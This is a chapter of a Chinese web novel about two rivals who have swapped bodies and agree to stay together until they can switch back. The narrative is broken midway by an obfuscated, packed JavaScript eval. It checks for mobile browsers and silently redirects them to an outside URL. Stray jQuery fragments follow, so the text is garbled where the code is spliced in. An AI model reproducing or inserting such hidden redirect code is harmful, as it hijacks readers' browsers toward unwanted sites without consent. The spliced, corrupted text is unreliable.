高人微微点头,轻抚白须,高深莫测的样子着实像位仙人。
然而谢昭意已然将他当作一个欺世盗名的江湖骗子,满嘴荒唐,比江凌川还要可恨,她忍不住冲江凌川冷哼一声,转而朝向高人,用带着愠怒的声音说道:“道长莫不是同他串通好了,拿我寻开心呢?”
江凌川一听这话就不乐意了,两手交叉抱胸,横眉冷对道:“我才没这般无聊,用这等大事来寻你开心。”
然而,一想到高人给出的解法居然是成亲这种俗不可耐的法子,一时之间他也有些微怒,对着高人埋怨道:“道长,你没戏耍我们吧?怎么还兴成亲冲喜这种土法子,这一招早就过时了。”
高人但笑不语,那突然冒出的小童一溜烟又跑没影了,片刻后气喘吁吁抱着铁制的八卦盘跑回来,将其放在莲花池旁的石桌上,高人招呼着他二人坐下,当场推演起来。
谢昭意瞧这架势,将心中那点轻视暂且放下,两眼死死盯住高人的动作,半分不敢忽视。
而江凌川,同样正襟危坐,全神贯注盯着高人的一举一动,不敢懈怠。
须臾,高人收回手,一派神游天外的模样,谢昭意与江凌川不敢出声打扰,抓耳挠腮地静候一旁,心急如焚。
半晌后,高人回神,他先是看了一眼谢昭意,再看了一眼江凌川,而后用那干枯的双手一手牵一个,二人的手被放在石桌中心交叠在一起,高人这才满意地点点头,笑道:“天命,天命啊!”
然后就一手抚摸胡须,一手拿起拂尘,甩着医修翩然而去,只剩下谢昭意同江凌川大眼瞪小眼,一头雾水。
“到底在天命什么啊?!”谢昭意连忙抽去右手,浑身泛起了鸡皮疙瘩。
江凌川也是不明所以,空了的手心放在石桌上,想不通高人这话究竟何意。
这时,嬉皮笑脸的小道童冲二人眨眨眼,摇头晃脑道:“所谓天命……嘿嘿,就是让你俩成亲!”
然后不待谢昭意发怒,小道童十分有先见之明地撒腿就跑,眨眼之间又没了身影。
谢昭意恼羞成怒,对着高人离去的方向咬牙切齿,怒骂他故弄玄虚,诚心戏耍她二人。
但她脑子一下就转了过来,那句“日夜相伴,静候时机”也不是没有道理,她与江凌川同时坠湖而亡,又同时重回六年前,那关键节点她与江凌川同在方能实现,所以,若想成功换回身体,至少身体得在同一方位。
倒也不怪高人说出“日夜相伴”这句话,这是二人换回身体的必然条件,至于小道童说的成亲,估摸着是存心开的玩笑话。
谢昭意长叹一声,准备将自己的见解告知江凌川,但见对方神色凝重,显然也是想到这一层,于是只好苦大仇深地瞪着他,多少有些怨恨。
“得!既然您不愿意,那我现在就走,保证永远不会出现在谢大人面前!”江凌川噌的一下起身,带起一阵微风,火红的裙摆随风而动,飘飘欲仙。
他大步流星,打开随身携带的白玉扇,优雅地替自己扇了一阵风,然而刚走出没几步,就被谢昭意扯住衣袖,“你敢走?”
江凌川合扇,回头露出一个无所谓的笑容,“在下有何不敢?这谢家是谢大人家,这翰林修撰也是谢大人您,在下不过区区一个青楼杂役,如今得了卖身契,自然想去哪儿就去哪儿,山高海阔任我游。”
是了,江凌川无父无母,今世就算不为淮王做事,天高地远的,也任由他逍遥,但谢昭意不一样,她是谢家嫡女,是翰林修撰,更是爹娘最器重的孩子,她一辈子都不能离开谢家,也舍不得离开谢家,自然不能如江凌川这般万物皆可抛。
谢昭意沉默片刻,替对方找了个理由,也替自己找了个理由,“难道你想以女子之身活一辈子?”
江凌川摇头,“不过一副躯体,是男是女又如何?”
谢昭意:“你就不怕被人认出?”
江凌川:“天大地大,自有不认识‘谢昭意’的地方。”
谢昭意:“……如果我说,我愿意同你‘日夜相伴,静候时机’?”
江凌川微愣,似乎没想到谢昭意为了能换回身体,竟然能做到这一步,毕竟,每天面对自己深恶痛绝的仇人,也是件剖心剔骨之事。
他轻笑,其实说到底,他并没有如谢昭意恨他那般恨谢昭意,与她作对,纯粹是淮王的命令罢了,他这人,天生一副烂心烂肺,除却淮王的知遇之恩,什么恩怨在他眼中,不过逢场作戏。
“好,我答应你。”江凌川将衣袖从谢昭意手中扯出,“但我有个条件。”
谢昭意:“你说。”
江凌川:“待换回身体后,我要十万两黄金,一栋依山傍水的大宅子,和几十个丫鬟仆从。”
谢昭意:“你就这点没出息的要求?”
江凌川摸摸下巴,“那就再来一匹汗血宝马吧,我要骑着它周游天下。”
谢昭意抬头,江凌川的神情不似说谎,她敏锐地从中发现一丝端倪,一个问题在喉咙中滚过几遭,最终还是问了出来,“你不准备帮淮王?”
“看我心情,我心情好,自然会帮这位昔日的老雇主,心情不好,也懒得见他。”江凌川回答得很坦然,显然在他心中,淮王这个人他也不放在心上。
谢昭意不再纠结,就算他重投淮王麾下,自己也有办法见招拆招,毕竟现在只有她和江凌川知晓大景朝后几年的历史发展。
“好,咱们约法三章,回去就立字据。”谢昭意伸出小拇指,点头示意江凌川。
“怎么还用小孩子的把戏。”江凌川嘴上嫌弃,手却实诚地伸出来,同谢昭意拉勾。
既然得了解法,二人就不做停留,谢昭意从荷包中掏出大半银两捐了道观添作香火,而后在江凌川的搀扶中下了山。
临到山路口,一直沉默不语的谢昭意冷不防开口:“等回了京城,我一定要把你这破脚给治好,还有这破脸,真是受够了!”
江凌川笑道:“那可得让云帆伺候得仔细了,不要崴了谢大人的脚。”
谢昭意猛然侧过脸,抬起手握成拳,作势就要揍。
江凌川才不怕,将谢家一家老小全念叨了个遍:“那可得让海阔伺候得仔细了,那可得让你爹伺候得仔细了,那可得让你娘伺候得仔细了,那可得让你弟伺候得仔细了,那可得让你妹伺候得仔细了,那可得让你祖母伺候得仔细了……”
“江凌川!你够了!”谢昭意额头青筋直跳,真是恨不得现在就揍死他!
“那可得让江凌川伺候得仔细了!”江凌川哈哈大笑,越是看谢昭意发怒,他这心里就越是爽快。
谢昭意气急败坏,想动手,却被对方先一步钳制住手脚,无奈,只能将两眼磨成利刃,用眼神光明正大地暗杀他。
等上了马车后,江凌川这才消停下来。
一个时辰后,二人回到客栈,江凌川找来笔和纸,写下字据,承诺待换回身体后谢昭意赠与江凌川十万两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815429|211039||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黄金、一栋依山傍水的大宅子、几十个丫鬟仆从和一匹汗血宝马。
谢昭意爽快签字画押,末了,她提醒道:“你藏好了,千万别让我爹娘发现了。”
江凌川:“那是自然,我可舍不得十万两黄金。”
二人又修整了片刻,待用过午膳后,江凌川退了房,扶着谢昭意来到驿站,选了上好的马车,又经老板推荐选好了车夫,之后在集市买了不少干粮,当天日头刚偏过几分,二人就出了杭城,一路朝京城而去。
值得一提的是,二人在购买干粮时,遇到了李二。
李二灰头土脸的,看起来颇为狼狈,但他精神还不错,抱着一袋粮食行走在街头,见到谢昭意时颇为惊讶,绕着她走上几圈,啧啧称奇:
“你这小子,果真是遇见了贵人,这一身行头,果真气派,若不是你脸上那道伤疤,我还真认不出你了。”
谢昭意挤出个微笑,敷衍道:“运气好罢了。”
李二又看了眼江凌川,悄悄凑到谢昭意耳旁,低笑道:“这姑娘长得好看又有钱,你小子发了啊,可比咱们这些死里逃生的人有福气多了。”
谢昭意干笑,她也觉得自己长得好看又有钱,但她很快便捕捉到“死里逃生”这句话,忙问道:“这是发生什么事了?”
李二皱眉:“你不知道?”
谢昭意摇头。
李二解释:“昨日咱们楼里突发大火,老鸨和龟公被烧死了,其余人趁乱都逃走了,还卷走不少金银,至于我嘛,当时在小门搬货,第一时间跑了,这才没被烧死。”
突发大火?
谢昭意捏了捏衣摆,她总觉得这火没那么简单,但这事与她无关,更何况她对里面的人并没有什么好感,于是随口问了句:“你今后有何打算?”
李二嘿嘿一笑:“在灶房干了这么多年,好歹有个手艺活,饿不死。”
谢昭意点头,二人就此别过。
她看向一直没说话的江凌川,心头一跳,难不成是他干的?
她记得江凌川最是睚眦必报,不论谁惹怒了他,他都会报复回去,更不要说他曾经被卖青楼,逼得他划伤脸和脚来求自保,不管怎么看,这青楼中的人都是他会报复的对象。
江凌川察觉到谢昭意带着审视的目光,也不管她会怎么想,随口就是:“没错,是我干的,他们就该死。”
谢昭意“哦”了一声,没有下文。
江凌川顿时浑身一僵,朝着谢昭意继续道:“是我干的,你没听见?”
谢昭意眼皮一抬,“是你干的,然后呢?”
江凌川一愣,“然后你该报官抓我?”
谢昭意冷哼:“神经,你被抓了我怎么办?不是你的身体你不心疼是吧?”
江凌川:“……”
初秋已至,秋风乍起,通往京城的官道上堆积了不少斑驳树叶,车轮碾过,发出细碎的沙沙声,钻入谢昭意的耳中。
她一边望向窗外秋意渐浓的树林,一边思索回京后该以何种身份留在谢家,但思来想去,都觉不妥。
一想到要尊称自己的亲爹为老爷,亲娘为夫人,她就一个头两个大,恨不得揍一顿江凌川以泄心头之恨。
而江凌川倒是挺悠闲,美美磕着瓜子,好不逍遥,那悉悉索索的磕瓜子声传入谢昭意耳中,惹得她异常烦闷。
谢昭意努力忽视这噪声,绞尽脑汁,最终她一拍窗柩,决定道:“姓江的!我决定,入赘!”